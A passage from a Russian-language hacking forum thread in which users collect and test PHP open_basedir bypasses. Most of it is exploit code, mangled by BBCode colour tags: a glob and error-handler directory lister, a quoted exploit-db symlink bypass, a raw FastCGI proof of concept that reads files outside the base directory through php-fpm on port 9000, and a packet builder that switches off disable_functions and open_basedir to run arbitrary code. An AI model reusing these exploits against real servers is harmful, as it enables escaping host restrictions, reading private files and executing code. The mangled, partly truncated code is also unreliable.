foreach([/COLOR][COLOR="#0000BB"]$dirs[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]$item[/COLOR][COLOR="#007700"]) { [/COLOR][COLOR="#0000BB"]$fp[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$dir[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$item[/COLOR][COLOR="#007700"]; if([/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$item[/COLOR][COLOR="#007700"],-[/COLOR][COLOR="#0000BB"]3[/COLOR][COLOR="#007700"]) ==[/COLOR][COLOR="#DD0000"]'../'[/COLOR][COLOR="#007700"]) { [/COLOR][COLOR="#0000BB"]$tmp[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"](([/COLOR][COLOR="#0000BB"]$fp[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]strpos[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$fp[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'/../'[/COLOR][COLOR="#007700"])); [/COLOR][COLOR="#0000BB"]$tmp[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$tmp[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]strrpos[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$tmp[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'/'[/COLOR][COLOR="#007700"])); echo[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$item[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"] "[/COLOR][COLOR="#007700"]; } else { echo[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$item[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"] "[/COLOR][COLOR="#007700"]; } } foreach([/COLOR][COLOR="#0000BB"]$files[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]$item[/COLOR][COLOR="#007700"]) { echo[/COLOR][COLOR="#0000BB"]$item[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]" "[/COLOR][COLOR="#007700"]; } } else { echo[/COLOR][COLOR="#DD0000"]"Access denied or open_basedir = Off, back"[/COLOR][COLOR="#007700"]; } echo[/COLOR][COLOR="#DD0000"]"\n\n[/COLOR][COLOR="#0000BB"]$count[/COLOR][COLOR="#DD0000"]glob iteration"[/COLOR][COLOR="#007700"]; echo[/COLOR][COLOR="#DD0000"]"\n"[/COLOR][COLOR="#007700"].([/COLOR][COLOR="#0000BB"]count[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$dirs[/COLOR][COLOR="#007700"])+[/COLOR][COLOR="#0000BB"]count[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$files[/COLOR][COLOR="#007700"])).[/COLOR][COLOR="#DD0000"]" files"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$z[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]close[/COLOR][COLOR="#007700"](); if([/COLOR][COLOR="#0000BB"]file_exists[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$tmp_zip_name[/COLOR][COLOR="#007700"])) [/COLOR][COLOR="#0000BB"]unlink[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$tmp_zip_name[/COLOR][COLOR="#007700"]);
echo[/COLOR][COLOR="#DD0000"]"\nTime: "[/COLOR][COLOR="#007700"].([/COLOR][COLOR="#0000BB"]microtime[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]true[/COLOR][COLOR="#007700"]) -[/COLOR][COLOR="#0000BB"]$starttime[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#DD0000"]" seconds"[/COLOR][COLOR="#007700"]; echo[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];
function[/COLOR][COLOR="#0000BB"]error_handler[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$errno[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$errstr[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$errfile[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$errline[/COLOR][COLOR="#007700"]){ global[/COLOR][COLOR="#0000BB"]$glob_dirs[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$regexp[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$lastfile[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$dir[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$dirs[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$files[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]preg_match[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$regexp[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$errstr[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$o[/COLOR][COLOR="#007700"]); if(isset([/COLOR][COLOR="#0000BB"]$o[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]])){ [/COLOR][COLOR="#0000BB"]$lastfile[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$o[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]strpos[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$o[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]$dir[/COLOR][COLOR="#007700"])+[/COLOR][COLOR="#0000BB"]strlen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$dir[/COLOR][COLOR="#007700"])); if(![/COLOR][COLOR="#0000BB"]in_array[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$lastfile[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$glob_dirs[/COLOR][COLOR="#007700"])) { [/COLOR][COLOR="#0000BB"]$glob_dirs[/COLOR][COLOR="#007700"][] =[/COLOR][COLOR="#0000BB"]$lastfile[/COLOR][COLOR="#007700"]; if([/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$lastfile[/COLOR][COLOR="#007700"],-[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]) ==[/COLOR][COLOR="#DD0000"]'/'[/COLOR][COLOR="#007700"]) [/COLOR][COLOR="#0000BB"]$dirs[/COLOR][COLOR="#007700"][] =[/COLOR][COLOR="#0000BB"]$lastfile[/COLOR][COLOR="#007700"]; else [/COLOR][COLOR="#0000BB"]$files[/COLOR][COLOR="#007700"][] =[/COLOR][COLOR="#0000BB"]$lastfile[/COLOR][COLOR="#007700"]; } else { [/COLOR][COLOR="#0000BB"]$lastfile[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]; } } } [/COLOR][COLOR="#0000BB"]?>[/COLOR][/COLOR]
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
Symlink() - отработало без вопросов.
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
Тест:
7.3.8-1
Эксплоит взят с https://www.exploit-db.com/exploits/10557
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]This is exploit from Security Audit Lab - SecurityReason labs. Author : Maksymilian Arciemowicz Script for legal use only. PHP 5.2.12 5.3.1 symlink open_basedir bypass More: SecurityReason '[/COLOR][COLOR="#007700"];
if(empty([/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"])) exit;
if(![/COLOR][COLOR="#0000BB"]is_writable[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"."[/COLOR][COLOR="#007700"])) die([/COLOR][COLOR="#DD0000"]"not writable directory"[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$level[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];
for([/COLOR][COLOR="#0000BB"]$as[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$as[/COLOR][COLOR="#007700"]check symlink symlink'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$num[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]' file'[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]?> [/COLOR][/COLOR]
|
|
|
|

22.09.2019, 22:51
|
|
Guest
Сообщений: n/a
Провел на форуме: 169212
Репутация:
441
|
|
Молодец, что собрал в одном месте, но стоит отделить/категоризировать треш типа true/false от действительно полезныйх байпасов ( symlink, glob:///*), где можно свободно листить диры и читать файлы.
Сообщение от Baskin-Robbins
Baskin-Robbins said:
↑
Is_dir()
Сообщение от Baskin-Robbins
Baskin-Robbins said:
↑
Glob().
На PHP 7.3.7 (FPM + Nginx) не работает
Пользуясь случаем, дополню треш подборку булевых байпасов своими находками:
[PHP]
PHP:
[COLOR="#000000"][COLOR="#007700"]
|
|
|
|

22.09.2019, 23:55
|
|
Guest
Сообщений: n/a
Провел на форуме: 92829
Репутация:
212
|
|
Сообщение от crlf
crlf said:
↑
Молодец, что собрал в одном месте, но стоит отделить/категоризировать треш типа
true/false
от действительно полезныйх байпасов (
symlink, glob:///*
), где можно свободно листить диры и читать файлы.
Спасибо за замечание, спустил их в самый низ. Что касается glob:///*то он так и не захотел спускаться ниже /* , впрочем как будет время помучаю его. А вот симлинк + зипархив да, отработали как надо.
Сообщение от crlf
crlf said:
↑
На PHP 7.3.7 (FPM + Nginx) не работает
Наверно важно в таком случае отметить что тестилось мной на mod_php.
|
|
|
|

23.09.2019, 00:11
|
|
Guest
Сообщений: n/a
Провел на форуме: 169212
Репутация:
441
|
|
Сообщение от Baskin-Robbins
Baskin-Robbins said:
↑
Что касается
glob:///*
то он так и не захотел спускаться ниже /*
Так ниже некуда, если мы про линь говорим, то он уже корень листит. Может в шиндовсе иное поведение, хз
Сообщение от Baskin-Robbins
Baskin-Robbins said:
↑
Наверно важно в таком случае отметить что тестилось мной на mod_php.
Ага, так будет вернее, может кто-то дотестит ещё. А для локальных кейсов с FPM, все эти свистопляски не нужны.
Ну и линк на эту тему вконце не повредит, т.к. имея выполнение команд, байпасс бейсдира не сильно нужен
|
|
|
|

23.09.2019, 00:27
|
|
Guest
Сообщений: n/a
Провел на форуме: 92829
Репутация:
212
|
|
Сообщение от crlf
crlf said:
↑
Так ниже некуда, если мы про линь говорим, то он уже корень листит.
я имел ввиду что /etc/* /var/* уже не хочет почему-то, что кст касается и других вариантов - /etc и тд брутит, а вот /etc/* ошибки не изменяются соответственно и брут уже не катит
|
|
|
|

23.09.2019, 00:36
|
|
Guest
Сообщений: n/a
Провел на форуме: 169212
Репутация:
441
|
|
Сообщение от Baskin-Robbins
Baskin-Robbins said:
↑
/etc и тд брутит, а вот /etc/* ошибки не изменяются соответственно и брут уже не катит
Кстати да, что-то обламывается. Но смутно помнится какой-то кейс, где glob отрабатывал, возможно что-то путаю
|
|
|
|

23.12.2019, 20:16
|
|
Guest
Сообщений: n/a
Провел на форуме: 92829
Репутация:
212
|
|
Каким-то странным образом пропустил такую вот интересную штуку
https://bugs.php.net/bug.php?id=70134
В данном случае нам позволяют не только листить диры, но и читать файлы за бэйздиром
Соответственно важно чтобы fpm крутился на 9000 порту
Протестировано на apache + php-fpm 7.3
+1 в копилочку нормальных байпасов
poc прикрепляю как есть
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]$v[/COLOR][COLOR="#007700"]) { [/COLOR][COLOR="#0000BB"]$params_encoded[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#0000BB"]chr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]strlen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$k[/COLOR][COLOR="#007700"])).[/COLOR][COLOR="#0000BB"]chr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]strlen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$v[/COLOR][COLOR="#007700"])).[/COLOR][COLOR="#0000BB"]$k[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$v[/COLOR][COLOR="#007700"]; }
[/COLOR][COLOR="#0000BB"]$len[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]strlen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$params_encoded[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#0000BB"]$len_encoded[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]chr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$len[/COLOR][COLOR="#007700"]>>[/COLOR][COLOR="#0000BB"]8[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#0000BB"]chr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$len[/COLOR][COLOR="#007700"]&[/COLOR][COLOR="#0000BB"]255[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$fp[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]fsockopen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'127.0.0.1'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]9000[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#0000BB"]fwrite[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$fp[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"\x01\x01\x00\x01\x00\x08\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00"[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#0000BB"]fwrite[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$fp[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"\x01\x04\x00\x01"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$len_encoded[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"\x00\x00"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$params_encoded[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#0000BB"]fwrite[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$fp[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"\x01\x04\x00\x01\x00\x00\x00\x00"[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#0000BB"]fwrite[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$fp[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"\x01\x05\x00\x01\x00\x00\x00\x00"[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#0000BB"]sleep[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#0000BB"]$result[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]; while (![/COLOR][COLOR="#0000BB"]feof[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$fp[/COLOR][COLOR="#007700"])) { [/COLOR][COLOR="#0000BB"]$result[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#0000BB"]fread[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$fp[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]1024[/COLOR][COLOR="#007700"]); } [/COLOR][COLOR="#0000BB"]fclose[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$fp[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$matches[/COLOR][COLOR="#007700"]= array(); [/COLOR][COLOR="#0000BB"]preg_match[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'/START.*END/s'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$result[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$matches[/COLOR][COLOR="#007700"]); echo[/COLOR][COLOR="#0000BB"]$matches[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]]; [/COLOR][COLOR="#0000BB"]?>[/COLOR][/COLOR]
|
|
|
|

23.12.2019, 20:31
|
|
Guest
Сообщений: n/a
Провел на форуме: 169212
Репутация:
441
|
|
Сообщение от crlf
crlf said:
↑
А для локальных кейсов с FPM, все эти свистопляски не нужны.
Я подумал, что все в курсе ещё с rdot-а Вроде первая реализация была от @d0znpp, но мне больше нравится вариант от @dharrya:
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]) [/COLOR][COLOR="#0000BB"]$host[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"tcp://[/COLOR][COLOR="#007700"]${[/COLOR][COLOR="#0000BB"]host[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]:[/COLOR][COLOR="#007700"]${[/COLOR][COLOR="#0000BB"]port[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]/"[/COLOR][COLOR="#007700"]; else [/COLOR][COLOR="#0000BB"]$host[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"unix://[/COLOR][COLOR="#007700"]${[/COLOR][COLOR="#0000BB"]host[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$connection[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]stream_socket_client[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$host[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$errno[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$errstr[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$timeout[/COLOR][COLOR="#007700"]); if ([/COLOR][COLOR="#0000BB"]$connection[/COLOR][COLOR="#007700"]) { [/COLOR][COLOR="#0000BB"]stream_set_timeout[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$connection[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#0000BB"]fputs[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$connection[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$packet[/COLOR][COLOR="#007700"]); while(![/COLOR][COLOR="#0000BB"]feof[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$connection[/COLOR][COLOR="#007700"])) { [/COLOR][COLOR="#0000BB"]$line[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]fgets[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$connection[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]4096[/COLOR][COLOR="#007700"]); if([/COLOR][COLOR="#0000BB"]$line[/COLOR][COLOR="#007700"]==[/COLOR][COLOR="#DD0000"]"\r\n"[/COLOR][COLOR="#007700"]) break;
[/COLOR][COLOR="#0000BB"]$headers[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#0000BB"]$line[/COLOR][COLOR="#007700"]; }
while(![/COLOR][COLOR="#0000BB"]feof[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$connection[/COLOR][COLOR="#007700"])) [/COLOR][COLOR="#0000BB"]$body[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#0000BB"]fgets[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$connection[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]4096[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]fclose[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$connection[/COLOR][COLOR="#007700"]); if ([/COLOR][COLOR="#0000BB"]strpos[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$headers[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'Primary script unknown'[/COLOR][COLOR="#007700"]) !==[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"]||[/COLOR][COLOR="#0000BB"]strpos[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$headers[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'Status: 404 Not Found'[/COLOR][COLOR="#007700"]) !==[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"]) { echo[/COLOR][COLOR="#DD0000"]"Test failed:(\n"[/COLOR][COLOR="#007700"]; echo[/COLOR][COLOR="#0000BB"]$headers[/COLOR][COLOR="#007700"]; } else { echo[/COLOR][COLOR="#DD0000"]"Successful\n"[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]var_dump[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$headers[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#0000BB"]var_dump[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$body[/COLOR][COLOR="#007700"]); } } else { echo[/COLOR][COLOR="#DD0000"]"no connection:`("[/COLOR][COLOR="#007700"]; } }
function[/COLOR][COLOR="#0000BB"]initializeParams[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$id[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$params[/COLOR][COLOR="#007700"]= array()){ [/COLOR][COLOR="#0000BB"]$type[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]4[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];
foreach ([/COLOR][COLOR="#0000BB"]$params[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]$key[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]$value[/COLOR][COLOR="#007700"]) { [/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#0000BB"]pack[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"CN"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]strlen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$key[/COLOR][COLOR="#007700"]),([/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"][/COLOR][COLOR="#DD0000"]"GET"[/COLOR][COLOR="#007700"], [/COLOR][COLOR="#DD0000"]"SERVER_PROTOCOL"[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]"HTTP/1.1"[/COLOR][COLOR="#007700"], [/COLOR][COLOR="#DD0000"]"GATEWAY_INTERFACE"[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]"CGI/1.1"[/COLOR][COLOR="#007700"], [/COLOR][COLOR="#DD0000"]"SERVER_NAME"[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]"localhost"[/COLOR][COLOR="#007700"], [/COLOR][COLOR="#DD0000"]"HTTP_HOST"[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]"localhost"[/COLOR][COLOR="#007700"], [/COLOR][COLOR="#DD0000"]"REMOTE_ADDR"[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]"127.0.0.1"[/COLOR][COLOR="#007700"], [/COLOR][COLOR="#DD0000"]"SCRIPT_FILENAME"[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]$scriptFile[/COLOR][COLOR="#007700"], [/COLOR][COLOR="#DD0000"]"PHP_ADMIN_VALUE"[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]join[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"\n"[/COLOR][COLOR="#007700"], [ [/COLOR][COLOR="#DD0000"]"allow_url_fopen=On"[/COLOR][COLOR="#007700"], [/COLOR][COLOR="#DD0000"]"allow_url_include=On"[/COLOR][COLOR="#007700"], [/COLOR][COLOR="#DD0000"]"disable_functions=Off"[/COLOR][COLOR="#007700"], [/COLOR][COLOR="#DD0000"]"open_basedir=Off"[/COLOR][COLOR="#007700"], [/COLOR][COLOR="#DD0000"]"short_open_tag=On"[/COLOR][COLOR="#007700"], [/COLOR][COLOR="#DD0000"]"auto_prepend_file=data:,"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]urlencode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"]) ]) ) ); [/COLOR][COLOR="#0000BB"]$packet[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#0000BB"]to_s[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]4[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#0000BB"]$packet[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#0000BB"]to_s[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]5[/COLOR][COLOR="#007700"]);
return[/COLOR][COLOR="#0000BB"]$packet[/COLOR][COLOR="#007700"]; }
[/COLOR][COLOR="#0000BB"]$packet[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]buildPacket[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'echo "OK!";'[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#0000BB"]sendRequest[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'localhost'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]9000[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$packet[/COLOR][COLOR="#007700"]); [/COLOR][/COLOR]
Сообщение от dharrya
dharrya said:
Соответственно нужный тебе код в в функции buildPacket. Единственное условие - для выполнения произвольного кода, тебе нужно знать путь к одному ЛЮБОМУ php-файлу. Это может быть PEAR или Composer или что-угодно еще (e.g. ты нашел раскрытие пути в проекте).
open_basedir и diasble_functions просто перезаписываются. Скрипт может в HTTP/SOCK.
|
|
|
|

05.08.2020, 10:46
|
|
Guest
Сообщений: n/a
Провел на форуме: 169212
Репутация:
441
|
|
|
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|